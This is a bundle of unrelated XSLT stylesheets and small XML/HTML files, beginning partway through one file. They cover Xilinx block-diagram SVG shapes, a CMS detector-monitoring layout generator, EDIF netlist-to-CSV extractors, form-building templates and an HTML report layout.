<xsl:variable name="BLKD_IP2UNK_GAP" select="$BLKD_MOD_H"/> <xsl:variable name="BLKD_PROC2SBS_GAP" select="($BLKD_BIF_H * 2)"/> <xsl:variable name="BLKD_IOR2PROC_GAP" select="$BLKD_BIF_W"/> <xsl:variable name="BLKD_MPMC2PROC_GAP" select="($BLKD_BIF_H * 2)"/> <xsl:variable name="BLKD_SPECS2KEY_GAP" select="$BLKD_BIF_W"/> <xsl:variable name="BLKD_DRAWAREA2KEY_GAP" select="ceiling($BLKD_BIF_W div 3)"/> <xsl:variable name="BLKD_KEY_H" select="250"/> <xsl:variable name="BLKD_KEY_W" select="($BLKD_DRAWAREA_MIN_W + ceiling($BLKD_DRAWAREA_MIN_W div 2.5))"/> <xsl:variable name="BLKD_SPECS_H" select="100"/> <xsl:variable name="BLKD_SPECS_W" select="300"/> <xsl:variable name="BLKD_BKT_MODS_PER_ROW" select="3"/> <!-- <xsl:template name="Print_Dimensions"> <xsl:message>MOD_LABEL_W : <xsl:value-of select="$MOD_LABEL_W"/></xsl:message> <xsl:message>MOD_LABEL_H : <xsl:value-of select="$MOD_LABEL_H"/></xsl:message> <xsl:message>MOD_LANE_W : <xsl:value-of select="$MOD_LANE_W"/></xsl:message> <xsl:message>MOD_LANE_H : <xsl:value-of select="$MOD_LANE_H"/></xsl:message> <xsl:message>MOD_EDGE_W : <xsl:value-of select="$MOD_EDGE_W"/></xsl:message> <xsl:message>MOD_SHAPES_G : <xsl:value-of select="$MOD_SHAPES_G"/></xsl:message> <xsl:message>MOD_BKTLANE_W : <xsl:value-of select="$MOD_BKTLANE_W"/></xsl:message> <xsl:message>MOD_BKTLANE_H : <xsl:value-of select="$MOD_BKTLANE_H"/></xsl:message> <xsl:message>MOD_BUCKET_G : <xsl:value-of select="$MOD_BUCKET_G"/></xsl:message> </xsl:template> --> </xsl:stylesheet>
<filename>src/platforms/xilinx/pr_6smp/design/__xps/.dswkshop/MdtTinySvgDiag_BifShapes.xsl <?xml version="1.0" standalone="no"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common"> <!-- <xsl:output method="xml" version="1.0" encoding="UTF-8" indent="yes" doctype-public="-//W3C//DTD SVG 1.0//EN" doctype-system="http://www.w3.org/TR/SVG/DTD/svg10.dtd"/> --> <!-- ======================= DEF BLOCK =================================== --> <xsl:template name="Define_ConnectedBifTypes"> <xsl:for-each select="exsl:node-set($COL_BUSSTDS)/BUSCOLOR"> <xsl:variable name="busStd_" select="@BUSSTD"/> <xsl:for-each select="exsl:node-set($G_BIFTYPES)/BIFTYPE"> <xsl:variable name="bifType_" select="@TYPE"/> <xsl:variable name="connectedBifs_cnt_" select="count($G_ROOT/EDKSYSTEM/MODULES/MODULE/BUSINTERFACE[((@IS_INMHS = 'TRUE') and (@TYPE = $bifType_) and (@BUSSTD = $busStd_))])"/> <xsl:if test="($connectedBifs_cnt_ &gt; 0)"> <!-- <xsl:message>DEBUG : Connected BifType : <xsl:value-of select="$busStd_"/> : <xsl:value-of select="@TYPE"/> : <xsl:value-of select="$connectedBifs_cnt_"/> </xsl:message> --> <xsl:call-template name="Define_BifTypeConnector"> <xsl:with-param name="iBusStd" select="$busStd_"/> <xsl:with-param name="iBifType" select="$bifType_"/> </xsl:call-template> <xsl:call-template name="Define_BifLabel"> <xsl:with-param name="iBusStd" select="$busStd_"/> </xsl:call-template> </xsl:if> </xsl:for-each> </xsl:for-each> <xsl:for-each select="exsl:node-set($G_BIFTYPES)/BIFTYPE"> <xsl:variable name="bifType_" select="@TYPE"/> <xsl:call-template name="Define_BifTypeConnector"> <xsl:with-param name="iBusStd" select="'KEY'"/> <xsl:with-param name="iBifType" select="$bifType_"/> </xsl:call-template> <xsl:call-template name="Define_BifLabel"> <xsl:with-param name="iBusStd" select="'KEY'"/> </xsl:call-template> </xsl:for-each> </xsl:template> <xsl:template name="Define_BifLabel"> <xsl:param name="iBusStd" select="'OPB'"/> <xsl:variable name="busStdColor_"> <xsl:call-template name="F_BusStd2RGB"> <xsl:with-param name="iBusStd" select="$iBusStd"/> </xsl:call-template> </xsl:variable> <g id="{$iBusStd}_BifLabel"> <rect x="0" y="0" rx="3" ry="3" width= "{$BIF_W}" height="{$BIF_H}" style="fill:{$busStdColor_}; stroke:black; stroke-width:1"/> </g> </xsl:template> <xsl:template name="Define_BifTypeConnector"> <xsl:param name="iBusStd" select="'OPB'"/> <xsl:param name="iBifType" select="'USER'"/> <xsl:variable name="busStdColor_"> <xsl:call-template name="F_BusStd2RGB"> <xsl:with-param name="iBusStd" select="$iBusStd"/> </xsl:call-template> </xsl:variable> <xsl:variable name="busStdColor_lt_"> <xsl:call-template name="F_BusStd2RGB_LT"> <xsl:with-param name="iBusStd" select="$iBusStd"/> </xsl:call-template> </xsl:variable> <xsl:variable name="bifc_wi_" select="ceiling($BIFC_W div 3)"/> <xsl:variable name="bifc_hi_" select="ceiling($BIFC_H div 3)"/> <xsl:choose> <xsl:when test="$iBifType = 'SLAVE'"> <g id="{$iBusStd}_busconn_{$iBifType}"> <circle cx="{ceiling($BIFC_W div 2)}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_W div 2)}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <circle cx="{ceiling($BIFC_W div 2) + 0.5}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_Wi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:when test="$iBifType = 'MASTER'"> <g id="{$iBusStd}_busconn_{$iBifType}"> <rect x="0" y="0" width= "{$BIFC_W}" height="{$BIFC_H}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <rect x="{$BIFC_dx + 0.5}" y="{$BIFC_dy}" width= "{$BIFC_Wi}" height="{$BIFC_Hi}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:when test="$iBifType = 'INITIATOR'"> <g id="{$iBusStd}_busconn_{$iBifType}"> <rect x="0" y="0" width= "{$BIFC_W}" height="{$BIFC_H}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <rect x="{$BIFC_dx + 0.5}" y="{$BIFC_dy}" width= "{$BIFC_Wi}" height="{$BIFC_Hi}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:when test="$iBifType = 'TARGET'"> <g id="{$iBusStd}_busconn_{$iBifType}"> <circle cx="{ceiling($BIFC_W div 2)}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_W div 2)}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <circle cx="{ceiling($BIFC_W div 2) + 0.5}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_Wi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:when test="$iBifType = 'MASTER_SLAVE'"> <g id="{$iBusStd}_busconn_{$iBifType}"> <circle cx="{ceiling($BIFC_W div 2)}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_W div 2)}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <circle cx="{ceiling($BIFC_W div 2) + 0.5}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_Wi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> <rect x="0" y="{ceiling($BIFC_H div 2)}" width= "{$BIFC_W}" height="{ceiling($BIFC_H div 2)}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <rect x="{$BIFC_dx + 0.5}" y="{ceiling($BIFC_H div 2)}" width= "{$BIFC_Wi}" height="{ceiling($BIFC_Hi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:when test="$iBifType = 'MONITOR'"> <g id="{$iBusStd}_busconn_{$iBifType}"> <rect x="0" y="0.5" width= "{$BIFC_W}" height="{ceiling($BIFC_Hi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> <rect x="0" y="{ceiling($BIFC_H div 2) + 4}" width= "{$BIFC_W}" height="{ceiling($BIFC_Hi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:when test="$iBifType = 'USER'"> <g id="{$iBusStd}_busconn_USER"> <circle cx="{ceiling($BIFC_W div 2)}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_W div 2)}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <circle cx="{ceiling($BIFC_W div 2) + 0.5}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_Wi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:otherwise> <g id="{$iBusStd}_busconn_{$iBifType}"> <circle cx="{ceiling($BIFC_W div 2)}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_W div 2)}" style="fill:{$COL_WHITE}; stroke:{$busStdColor_}; stroke-width:1"/> <circle cx="{ceiling($BIFC_W div 2) + 0.5}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_Wi div 2)}" style="fill:{$COL_WHITE}; stroke:none;"/> </g> </xsl:otherwise> </xsl:choose> </xsl:template> </xsl:stylesheet>
<?xml version="1.0" encoding="ISO-8859-1"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fn="http://www.w3.org/2005/02/xpath-functions"> <xsl:output method="text" omit-xml-declaration="yes" indent="no"/> <!-- xsl:strip-space elements="*"/--> <xsl:template match="/"> <xsl:text>def csclayout(i, p, *rows): i["CSC/Layouts/" + p] = DQMItem(layout=rows) </xsl:text> <xsl:apply-templates select="//Canvas[Prefix='TOP']" mode="default"/> <xsl:apply-templates select="//Canvas[Prefix='EMU']" mode="default"/> <!--xsl:apply-templates select="Canvases/Canvas[Prefix='DDU']" mode="default"/--> <!--xsl:apply-templates select="Canvases/Canvas[Prefix='CSC']" mode="default"/--> </xsl:template> <xsl:template match="Canvas[Prefix='TOP']" mode="default"> <xsl:apply-templates select="." mode="printme"> <xsl:with-param name="hprefix"/> <xsl:with-param name="tprefix"/> </xsl:apply-templates> </xsl:template> <xsl:template match="Canvas[Prefix='EMU']" mode="default"> <xsl:apply-templates select="." mode="printme"> <xsl:with-param name="hprefix" select="'CSC/Summary/'"/> <xsl:with-param name="tprefix" select="'EMU Summary/'"/> </xsl:apply-templates> </xsl:template> <xsl:template match="Canvas[Prefix='DDU']" mode="default"> <xsl:param name="id" select="36"/> <xsl:if test="$id > 0"> <xsl:apply-templates select="." mode="printme"> <xsl:with-param name="hprefix"><xsl:text>CSC/DDUs/DDU_</xsl:text><xsl:number format="01" value="$id"/><xsl:text>/</xsl:text></xsl:with-param> <xsl:with-param name="tprefix"><xsl:text>EMU DDUs/DDU_</xsl:text><xsl:number format="01" value="$id"/><xsl:text>/</xsl:text></xsl:with-param> </xsl:apply-templates> <xsl:apply-templates select="." mode="default"> <xsl:with-param name="id" select="$id - 1"/> </xsl:apply-templates> </xsl:if> </xsl:template> <xsl:template match="Canvas[Prefix='CSC']" mode="default"> <xsl:param name="uid" select="24"/> <xsl:param name="lid" select="10"/> <xsl:variable name="label"> <xsl:number format="001" value="$uid"/> <xsl:text>_</xsl:text> <xsl:number format="01" value="$lid"/> </xsl:variable> <xsl:if test="$uid > 0"> <xsl:apply-templates select="." mode="printme"> <xsl:with-param name="hprefix"> <xsl:text>CSC/CSCs/CSC_</xsl:text> <xsl:value-of select="$label"/> <xsl:text>/</xsl:text> </xsl:with-param> <xsl:with-param name="tprefix"> <xsl:text>EMU CSCs/CSC_</xsl:text> <xsl:value-of select="$label"/> <xsl:text>/</xsl:text> </xsl:with-param> </xsl:apply-templates> <xsl:apply-templates select="." mode="default"> <xsl:with-param name="uid"> <xsl:choose> <xsl:when test="$lid = 1"><xsl:value-of select="$uid - 1"/></xsl:when> <xsl:otherwise><xsl:value-of select="$uid"/></xsl:otherwise> </xsl:choose> </xsl:with-param> <xsl:with-param name="lid"> <xsl:choose> <xsl:when test="$lid = 1"><xsl:value-of select="10"/></xsl:when> <xsl:otherwise><xsl:value-of select="$lid - 1"/></xsl:otherwise> </xsl:choose> </xsl:with-param> </xsl:apply-templates> </xsl:if> </xsl:template> <xsl:template match="Canvas" mode="printme"> <xsl:param name="hprefix"/> <xsl:param name="tprefix"/> <xsl:variable name="display"><xsl:choose><xsl:when test="DisplayInWeb=0">0</xsl:when><xsl:otherwise>1</xsl:otherwise></xsl:choose></xsl:variable> <xsl:variable name="padsx" select="NumPadsX"/> <xsl:variable name="padsy" select="NumPadsY"/> <xsl:if test="$display=1"> <xsl:text>csclayout(dqmitems,"</xsl:text> <xsl:value-of select="$tprefix"/><xsl:value-of select="Title"/> <xsl:text>", </xsl:text> <xsl:variable name="count"><xsl:value-of select="count(./*[substring(name(),1,3) = 'Pad' and number(substring(name(),4))])"/></xsl:variable> <xsl:for-each select="./*[substring(name(),1,3) = 'Pad' and number(substring(name(),4))]"> <xsl:variable name="name" select="."/> <xsl:text> </xsl:text> <xsl:choose> <xsl:when test="((position() - 1) mod $padsx) = 0"> <xsl:text>[</xsl:text> </xsl:when> <xsl:otherwise> <xsl:text> </xsl:text> </xsl:otherwise> </xsl:choose> <xsl:text>{'path': "</xsl:text> <xsl:value-of select="$hprefix"/><xsl:value-of select="."/> <xsl:text>", 'description': "</xsl:text> <xsl:text>For information please click &lt;a href=\"https://twiki.cern.ch/twiki/bin/view/CMS/DQMShiftCSC#</xsl:text> <xsl:value-of select="../Name"/> <xsl:text>_</xsl:text> <xsl:value-of select="$name"/> <xsl:text>\"&gt;here&lt;/a&gt;.</xsl:text> <xsl:text>"}</xsl:text> <xsl:if test="((position()) mod $padsx) = 0 or position() = $count"> <xsl:text>]</xsl:text> </xsl:if> <xsl:if test="$count > position()"> <xsl:text>,</xsl:text> </xsl:if> <xsl:if test="$count = position()"> <xsl:text>)</xsl:text> </xsl:if> <xsl:text> </xsl:text> </xsl:for-each> <xsl:text> </xsl:text> </xsl:if> </xsl:template> </xsl:stylesheet>
<filename>xsl/edif_011_offconn.csv.xsl <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="text"/> <xsl:template match="/"> <xsl:apply-templates select="edif"/> </xsl:template> <xsl:template match="edif"> <xsl:variable name="lib" select="design/cellref/libraryref/@name"/> <xsl:variable name="cell" select="design/cellref/@name"/> <xsl:apply-templates select="library[@name=$lib]/cell[@name=$cell]/view/contents"/> </xsl:template> <xsl:template match="contents"> <xsl:text>offconn,@offconn</xsl:text> <xsl:text>&#10;</xsl:text> <xsl:for-each select="offpageconnector[not(@name=preceding::offpageconnector/@name)]"> <xsl:sort select="@name"/> <xsl:apply-templates select="."/> </xsl:for-each> </xsl:template> <xsl:template match="offpageconnector"> <xsl:value-of select="@name"/> <xsl:text>,</xsl:text> <xsl:value-of select="@name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:template> </xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" exclude-result-prefixes="html"> <xsl:template match="ref" mode="resolve_ref"> <xsl:param name="value" /> <xsl:variable name="rname" select="@result" /> <xsl:variable name="iname" select="@index" /> <xsl:variable name="lname" select="@label" /> <xsl:variable name="result" select="/*/*[@rndx][local-name()=$rname]" /> <xsl:variable name="row" select="$result/*[local-name()=$result/@row-name][@*[local-name()=$iname]=$value]" /> <xsl:value-of select="$row/@*[local-name()=$lname]" /> </xsl:template> <xsl:template match="*" mode="add_ref_option"> <xsl:param name="ref" /> <xsl:param name="value" /> <xsl:variable name="opval" select="@*[local-name()=$ref/@index]" /> <xsl:element name="option"> <xsl:attribute name="value"><xsl:value-of select="$opval" /></xsl:attribute> <xsl:if test="($opval) = ($value)"> <xsl:attribute name="selected">selected</xsl:attribute> </xsl:if> <xsl:value-of select="@*[local-name()=$ref/@label]" /> </xsl:element> </xsl:template> <xsl:template match="field[ref]" mode="get_value"> <xsl:param name="data" /> <xsl:apply-templates select="ref" mode="resolve_refs"> <xsl:with-param name="value" select="$data/@*[local-name()=current()/@name]" /> </xsl:apply-templates> </xsl:template> <xsl:template match="field[ref]" mode="construct_input"> <xsl:param name="data" /> <xsl:variable name="result" select="/*/*[@rndx][local-name()=current()/ref/@result]" /> <xsl:variable name="rows" select="$result/*[local-name()=../@row-name]" /> <xsl:element name="select"> <xsl:attribute name="name"><xsl:value-of select="@name" /></xsl:attribute> <xsl:apply-templates select="$rows" mode="add_ref_option"> <xsl:with-param name="ref" select="ref" /> <xsl:with-param name="value"> <xsl:apply-templates select="@value" mode="resolve_refs" /> </xsl:with-param> </xsl:apply-templates> </xsl:element> </xsl:template> </xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8" standalone="no" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="html"/> <xsl:template match="/"> <html> <head> <style> body { font-family:arial; font-size:10pt; text-align:left; } h1, h2 { padding-top: 30px; } h3 { padding-top: 20px; } h4, h5, h6 { padding-top: 10px; font-size:12pt; } table { font-family:arial; font-size:10pt; text-align:left; border-color:#B0B0B0; border-style:solid; border-width:1px; border-collapse:collapse; } table th, table td { font-family:arial; font-size:10pt; text-align:left; border-color:#B0B0B0; border-style:solid; border-width:1px; padding: 4px; } div.report { width: 1000px; margin: auto; text-align: left color:#003399; background-color: white; padding-top: 30px; padding-bottom: 30px; padding-left:30px; padding-right:30px; } div.header{ padding-top: 7px; padding-bottom: 7px; color:#003399; background-color: #D0D0D0; width=100%; font-family:arial; font-size:14pt; font-weight: bold; text-align: center; } div.title{ padding-top: 30px; margin: auto; color:#D0D0D0; background-color:#003399 ; text-align: center; width: 1000px; padding-left:30px; padding-right:30px; } div.content{ padding-top: 10px; padding-left:10px; padding-right:10px; text-align: left; font-size: 13pt; font-weight: normal; } div.copyright{ text-align:right; font-size:9pt; font-style:italic; font-weight:normal; } div.links{ text-align:left; } table.sect1{ border-color: #B0B0B0; border-style:solid; border-width:1px; border-spacing:0px; border-collapse:collapse; width=75%; font-family:couriernew; font-size: 11pt; } table.sect1 th { border-color: #B0B0B0; border-width:1px; color: darkslategray; font-weight:bold; text-align:center; } table.sect1 td { text-align:center; } div.label { padding-top: 10px; padding-left:10px; padding-right:10px; text-align: left; font-size: 13pt; font-weight: bold; } div.sublabel { padding-top: 10px; padding-left:10px; padding-right:10px; text-align: left; font-size: 11pt; font-weight: normal; } table.sect2{ border-color: #B0B0B0; border-style:solid; border-width:1px; border-spacing:0px; border-collapse:collapse; width=75%; font-family:couriernew; font-size: 11pt; } table.sect2 th { border-color: #B0B0B0; border-width:1px; color: darkslategray; font-weight:bold; text-align:center; } table.sect2 td { text-align:center; } </style> </head> <body> <a name="top"/> <div> <xsl:apply-templates select="/doc/title"/> </div> <div class="report"> <div> <div class="header">Table of Contents</div> <div class="content" > <a href="#sect1">Device Selection</a> <br/> <a href="#sect2">User Configuration</a> <br/> <a href="#sect3">Rules</a> <br/> <a href="#sect4">To Do</a> <br/> <a href="#sect5">Top Level Ports</a> <br/> </div> </div> <div> <p> <a name="sect1"/> <div class="header">Device Selection</div> </p> <xsl:call-template name="sect1"/> </div> <div> <p> <a name="sect2"/> <div class="header">User Configuration</div> </p> <xsl:call-template name="sect2"/> </div> <div> <p> <a name="sect3"/> <div class="header">Rules</div> </p> <xsl:call-template name="sect3"/> </div> <div> <p> <a name="sect4"/> <div class="header">To Do</div> </p> <xsl:call-template name="sect4"/> </div> <div> <p> <a name="sect5"/> <div class="header">Top Level Ports</div> </p> <xsl:call-template name="sect5"/> </div> </div> </body> </html> </xsl:template> <xsl:template name="top-link"> <a href="#top">top of page</a> </xsl:template> <xsl:template name="parsetable"> <xsl:for-each select="header"> <tr> <xsl:for-each select="cell"> <th> <xsl:value-of select="."/></th> </xsl:for-each> </tr> </xsl:for-each> <xsl:for-each select="row"> <tr> <xsl:for-each select="cell"> <td> <xsl:value-of select="."/></td> </xsl:for-each> </tr> </xsl:for-each> </xsl:template> <xsl:template name="sect1"> <xsl:for-each select="doc/ds"> <xsl:for-each select="table"> <table class="sect1" align="center" border="1" width="75%" cellspacing="0" cellpadding="4"> <xsl:call-template name="parsetable"/> </table> </xsl:for-each> </xsl:for-each> <xsl:call-template name="top-link"/> </xsl:template> <xsl:template name="sect2"> <xsl:for-each select="doc/uc"> <xsl:for-each select="data"> <div class= "label"><xsl:value-of select="name"/></div> <xsl:for-each select="table"> <table class="sect2" > <xsl:call-template name="parsetable"/> </table> </xsl:for-each> <xsl:for-each select="cdata"> <div class= "sublabel"><xsl:value-of select="name"/></div> <xsl:for-each select="table"> <table class="sect2" > <xsl:call-template name="parsetable"/> </table> </xsl:for-each> </xsl:for-each> <br/> </xsl:for-each> </xsl:for-each> <xsl:call-template name="top-link"/> </xsl:template> <xsl:template name="sect3"> <xsl:for-each select="doc/Rules"> <xsl:for-each select="data"> <xsl:for-each select = "text"> <xsl:value-of select="."/> <br/> </xsl:for-each > <br/> <xsl:for-each select="table"> <table class="sect4" align="center" border="1" width="75%" cellspacing="0" cellpadding="4"> <xsl:call-template name="parsetable"/> </table> </xsl:for-each> </xsl:for-each> <br/> </xsl:for-each > <xsl:call-template name="top-link"/> </xsl:template> <xsl:template name="sect4"> <xsl:for-each select="doc/Next"> <xsl:for-each select="data"> <xsl:for-each select = "text"> <xsl:value-of select="."/> <br/> </xsl:for-each > <br/> <xsl:for-each select="table"> <table class="sect4" align="center" border="1" width="75%" cellspacing="0" cellpadding="4"> <xsl:call-template name="parsetable"/> </table> </xsl:for-each> </xsl:for-each> <br/> </xsl:for-each > <xsl:call-template name="top-link"/> </xsl:template> <xsl:template name="sect5"> <xsl:for-each select="doc/toplevelport"> <xsl:for-each select="data"> <xsl:for-each select="table"> <table class="sect2" align ="center" > <xsl:call-template name="parsetable"/> </table> </xsl:for-each> <br/> </xsl:for-each> <br/> </xsl:for-each > <xsl:call-template name="top-link"/> </xsl:template> <xsl:template match="/doc/title"> <h1 align="center"> <xsl:apply-templates/> </h1> </xsl:template> </xsl:stylesheet>
<!DOCTYPE html SYSTEM "about:legacy-compat"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>CSV to HTML translation - Extra Credit</title> </head> <body> <table> <th> <td>Character</td> <td>Speech</td> </th> <tr> <td>The multitude</td> <td>The messiah! Show us the messiah!</td> </tr> <tr> <td>Brians mother</td> <td>&lt;angry&gt;Now you listen here! He's not the messiah; he's a very naughty boy! Now go away!&lt;/angry&gt; </td> </tr> <tr> <td>The multitude</td> <td>Who are you?</td> </tr> <tr> <td>Brians mother</td> <td>I'm his mother; that's who!</td> </tr> <tr> <td>The multitude</td> <td>Behold his mother! Behold his mother!</td> </tr> </table> </body> </html>
<?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="text"/> <xsl:template match="/"> <xsl:text>page,net</xsl:text> <xsl:text>&#10;</xsl:text> <xsl:apply-templates select="edif/library/cell/view/contents/page/net"/> </xsl:template> <xsl:template match="net"> <xsl:value-of select="ancestor::page/@name"/> <xsl:text>,</xsl:text> <xsl:value-of select="@name"/> <xsl:text>&#10;</xsl:text> </xsl:template> </xsl:stylesheet>
<gh_stars>10-100 <?xml version="1.0"?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl"> <xsl:template match="/"> <HTML> <HEAD> <meta http-equiv="Content-Language" content="en-us" /> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252" /> <meta name="GENERATOR" content="Microsoft FrontPage 4.0" /> <meta name="ProgId" content="FrontPage.Editor.Document" /> <LINK REL="stylesheet" TYPE="text/css" HREF="..\fileassoc.css" /> </HEAD> <BODY> <xsl:for-each select="SEARCHENGINES"> <font size="2"> If you are unable to find information at the above location, you can search the following Web sites for related software and information: <BR/> <xsl:for-each select="SENGINE"> <A> <xsl:attribute name="HREF">JavaScript:window.parent.navigate('<xsl:value-of select="URL"/>'); </xsl:attribute> <xsl:value-of select="DNAME"/></A> | </xsl:for-each> </font> </xsl:for-each> </BODY> </HTML> </xsl:template> </xsl:stylesheet>
<filename>doc/map.xsl <?xml version="1.0" encoding="ISO-8859-1"?> <!-- EXPERIMENTAL I/O address decoder style sheet (c) 2013, <NAME> <<EMAIL>> --> <xsl:stylesheet version="1.0" xmlns:my="http://www.section5.ch/dclib/schema/devdesc" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" > <!-- Key for register map reference --> <xsl:key name="mapkey" match="my:registermap" use="@id"/> <!-- Key for register reference --> <xsl:key name="regkey" match="my:register" use="@id"/> <xsl:variable name="lcase">abcdefghijklmnopqrstuvwxyz</xsl:variable> <xsl:variable name="ucase">ABCDEFGHIJKLMNOPQRSTUVWXYZ</xsl:variable> <xsl:template match="my:header"> <xsl:if test="@language = 'VHDL'"> <xsl:value-of select="."/> </xsl:if> </xsl:template> </xsl:stylesheet>
<reponame>cjungmann/schemafw <?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" exclude-result-prefixes="html"> <!-- This stylesheet contains the form-constructing templates for creating a group element. It's an artifact of an earlier project. A group element is a table embedded in a form. The one implementation of this element type was to have a family form with a group element containing the members of the family. The contents of the embedded table could be editted in place, and the composite value would be packed into a single string and unpacked on the server to update other database tables. This is not supported in the SchemaFW, and probably will never be supported because it's so much easier to open a subordinate window to manage what the group did in-form. The code necessary to support this feature, in Javascript and C++ for a MySQL external function, have been abandoned. The templates are separated out and kept around in case I missed some dependencies. --> <xsl:template match="schema/field[@type='block']"> <xsl:param name="data" /> <xsl:variable name="name"> <xsl:apply-templates select="." mode="get_name" /> </xsl:variable> <xsl:element name="div"> <xsl:attribute name="class">field_content</xsl:attribute> <xsl:apply-templates select="@update|@result" mode="add_resolved_data_attribute" /> <xsl:choose> <xsl:when test="$data"> <xsl:apply-templates select="." mode="make_list"> <xsl:with-param name="str" select="$data/@*[local-name()=$name]" /> </xsl:apply-templates> </xsl:when> <xsl:otherwise> <xsl:apply-templates select="." mode="make_list" /> </xsl:otherwise> </xsl:choose> </xsl:element> </xsl:template> <xsl:template name="make_list"> <xsl:param name="str" /> <xsl:param name="rdelim" /> <xsl:variable name="before" select="substring-before($str, $rdelim)" /> <xsl:variable name="val"> <xsl:choose> <xsl:when test="$before"><xsl:value-of select="$before" /></xsl:when> <xsl:otherwise><xsl:value-of select="$str" /></xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:call-template name="make_line_of_list"> <xsl:with-param name="str" select="$val" /> </xsl:call-template> <xsl:if test="$before"> <xsl:call-template name="make_list"> <xsl:with-param name="str" select="substring-after($str,$rdelim)" /> <xsl:with-param name="rdelim" select="$rdelim" /> </xsl:call-template> </xsl:if> </xsl:template> <xsl:template match="schema/field[@type='block' and not(@result)]" mode="make_list"> <xsl:param name="str" /> <xsl:variable name="rdelim"> <xsl:choose> <xsl:when test="@rdelim"><xsl:value-of select="@rdelim" /></xsl:when> <xsl:otherwise>;</xsl:otherwise> </xsl:choose> </xsl:variable> <div> <xsl:choose> <xsl:when test="string-length($str)&gt;1"> <xsl:call-template name="make_list"> <xsl:with-param name="str" select="$str" /> <xsl:with-param name="rdelim" select="$rdelim" /> </xsl:call-template> </xsl:when> <xsl:otherwise> <div><xsl:value-of select="$empty-list-value" /></div> </xsl:otherwise> </xsl:choose> </div> </xsl:template> <xsl:template name="make_line_of_list"> <xsl:param name="str" /> <div> <xsl:value-of select="$str" /> </div> </xsl:template> <xsl:template match="schema/field[@type='block' and @result]" mode="make_list"> <xsl:variable name="result" select="/*/*[@rndx][local-name()=current()/@result]" /> <xsl:choose> <xsl:when test="count($result/*)"> <xsl:call-template name="make_line_of_list"> <xsl:with-param name="str" select="$result/@*[1]" /> </xsl:call-template> </xsl:when> <xsl:otherwise> <div> <xsl:value-of select="$empty-list-value" /> </div> </xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template match="schema/field[@type='block']"> <xsl:param name="data" /> <xsl:variable name="name"> <xsl:apply-templates select="." mode="get_name" /> </xsl:variable> <xsl:element name="div"> <xsl:attribute name="class">field_content</xsl:attribute> <xsl:apply-templates select="@update|@result" mode="add_resolved_data_attribute" /> <xsl:choose> <xsl:when test="$data"> <xsl:apply-templates select="." mode="make_list"> <xsl:with-param name="str" select="$data/@*[local-name()=$name]" /> </xsl:apply-templates> </xsl:when> <xsl:otherwise> <xsl:apply-templates select="." mode="make_list" /> </xsl:otherwise> </xsl:choose> </xsl:element> </xsl:template> </xsl:stylesheet>
<filename>Task/Greatest-element-of-a-list/XSLT/greatest-element-of-a-list-2.xslt <numbers> <number>3</number> <number>1</number> <number>12</number> <number>7</number> </numbers>
